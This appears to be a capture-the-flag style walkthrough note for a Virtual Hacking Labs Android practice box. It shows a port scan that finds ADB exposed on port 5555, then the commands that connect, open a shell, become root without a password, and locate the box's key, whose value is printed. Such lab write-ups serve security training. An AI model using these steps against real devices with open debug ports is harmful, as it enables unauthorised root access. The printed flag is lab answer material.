Howlsec
HOWLSEC
offensive security
// notes/ Practice Boxes
🔵

Android — VHL (10.11.1.48)

5555/tcp open adb Android Debug Bridge (androidx86, VMware Virtual Platform)

#virtual hacking labs#vhl#walkthrough#boxes#os:linux

Android — VHL (10.11.1.48)

Port Enumeration (10.11.1.48)

🐺 howlsec@kali
$5555/tcp open  adb  Android Debug Bridge (android_x86, VMware Virtual Platform)

Foothold: exposed ADB (port 5555)

The Android Debug Bridge daemon is exposed with no authentication — connect and drop into a shell, which lets you su to root without a password:

🐺 howlsec@kali
$sudo apt install adb
$adb connect 10.11.1.48:5555
$adb shell
$su root
$find / -name key.txt      # /data/root/key.txt = x7vyfyxcaq6p7vxx2ruo